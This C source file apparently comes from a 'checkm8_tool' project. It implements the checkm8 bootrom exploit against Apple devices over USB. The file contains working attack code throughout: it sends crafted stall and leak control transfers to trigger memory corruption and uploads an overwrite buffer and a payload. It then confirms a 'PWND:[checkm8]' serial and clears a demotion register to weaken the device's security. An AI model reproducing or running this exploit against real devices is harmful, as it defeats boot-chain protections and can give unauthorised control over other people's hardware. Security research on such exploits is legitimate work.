Files
checkm8_tool/c8_remote/src/exploit.c

392 lines
13 KiB
C

#include "checkm8.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "usb_helpers.h"
#include "command.h"
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
};
static unsigned char data_0xA_0xC1_buf[193] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA
};
static unsigned char data_0x0_0x40_buf[64] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
static unsigned char data_0x0_0x41_buf[65] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0
};
static unsigned char data_0x0_0xC0_buf[192] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
int stall(struct pwned_device *dev)
{
checkm8_debug_indent("stall(dev = %p)\n", dev);
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
}
int leak(struct pwned_device *dev)
{
checkm8_debug_indent("leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
return CHECKM8_SUCCESS;
}
int no_leak(struct pwned_device *dev)
{
checkm8_debug_indent("no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
return CHECKM8_SUCCESS;
}
int usb_req_stall(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_stall(dev = %p)\n", dev);
unsigned char data[0];
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
return CHECKM8_SUCCESS;
}
int usb_req_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
return CHECKM8_SUCCESS;
}
int usb_req_no_leak(struct pwned_device *dev)
{
checkm8_debug_indent("usb_req_no_leak(dev = %p)\n", dev);
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
return CHECKM8_SUCCESS;
}
int stage1_function(struct pwned_device *dev)
{
checkm8_debug_indent("exploit stage 1\n");
unsigned int i;
stall(dev);
leak(dev);
for(i = 0; i < 6; i++) no_leak(dev);
reset(dev);
return CHECKM8_SUCCESS;
}
int stage2_function(struct pwned_device *dev)
{
checkm8_debug_indent("exploit stage 2\n");
unsigned char databuf[0x800];
memset(databuf, 'A', 0x800);
partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
reset(dev);
return CHECKM8_SUCCESS;
}
int stage3_function(struct pwned_device *dev)
{
long index = 0, amount = 0;
long ow_len, pl_len;
checkm8_debug_indent("exploit stage 3\n");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
fseek(overwrite_file, 0, SEEK_END);
ow_len = ftell(overwrite_file);
rewind(overwrite_file);
unsigned char overwrite_buf[ow_len];
fread(overwrite_buf, ow_len, 1, overwrite_file);
fclose(overwrite_file);
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
fseek(payload_file, 0, SEEK_END);
pl_len = ftell(payload_file);
rewind(payload_file);
unsigned char payload_buf[pl_len];
fread(payload_buf, pl_len, 1, payload_file);
fclose(payload_file);
stall(dev);
leak(dev);
leak(dev);
checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
while(index < ow_len)
{
if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
else amount = ow_len - index;
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100);
index += amount;
}
index = 0;
amount = 0;
checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len);
while(index < pl_len)
{
if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
else amount = pl_len - index;
checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);
no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100);
index += amount;
}
reset(dev);
return CHECKM8_SUCCESS;
}
int check_function(struct pwned_device *dev)
{
checkm8_debug_indent("checking device serial\n");
unsigned char serial_buf[128];
unsigned int i;
int ret;
ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf));
if(IS_CHECKM8_FAIL(ret)) return ret;
checkm8_debug_indent("\tgot serial %s\n", serial_buf);
for(i = 0; i < 13; i++)
{
if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP;
}
return CHECKM8_SUCCESS;
}
struct pwned_device *exploit_device()
{
int ret;
struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
res->status = DEV_NORMAL;
res->idVendor = DEV_IDVENDOR;
res->idProduct = DEV_IDPRODUCT;
#ifdef WITH_ARDUINO
res->ard_fd = -1;
#else
res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
#endif
ret = open_device_session(res);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to open device session\n");
free_device(res);
return NULL;
}
ret = check_function(res);
if(ret == CHECKM8_SUCCESS)
{
checkm8_debug_indent("\tdevice is already exploited\n");
res->status = DEV_PWNED;
close_device_session(res);
return res;
}
else if(ret == CHECKM8_FAIL_NODEV)
{
checkm8_debug_indent("\tno device found\n");
free_device(res);
return NULL;
}
else
{
// normal device found - exploit
ret = stage1_function(res);
if(ret == CHECKM8_SUCCESS)
{
ret = stage2_function(res);
usleep(500000);
}
if(ret == CHECKM8_SUCCESS)
{
ret = stage3_function(res);
usleep(500000);
}
if(ret == CHECKM8_SUCCESS)
{
ret = check_function(res);
}
if(ret == CHECKM8_SUCCESS)
{
res->status = DEV_PWNED;
close_device_session(res);
return res;
}
else
{
free_device(res);
return NULL;
}
}
}
int demote_device(struct pwned_device *dev)
{
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
unsigned int oldval, newval;
int retval;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
}
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to read demotion reg\n");
return CHECKM8_FAIL_INVARGS;
}
oldval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(!(oldval & 1u))
{
checkm8_debug_block("\tdevice already demoted\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
oldval &= 0xFFFFFFFE;
checkm8_debug_indent("\tattempting to demote device\n");
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_block("\tfailed to write to demotion reg\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
// verify
resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to verify demotion reg\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
newval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(oldval == newval)
{
checkm8_debug_block("\tdemotion success!\n");
retval = CHECKM8_SUCCESS;
}
else
{
checkm8_debug_block("\tdemotion register did not change!\n");
retval = CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return retval;
}
void free_device(struct pwned_device *dev)
{
checkm8_debug_indent("free_device(dev = %p)\n", dev);
if(is_device_session_open(dev)) close_device_session(dev);
#ifndef WITH_ARDUINO
free(dev->bundle);
#endif
free(dev);
}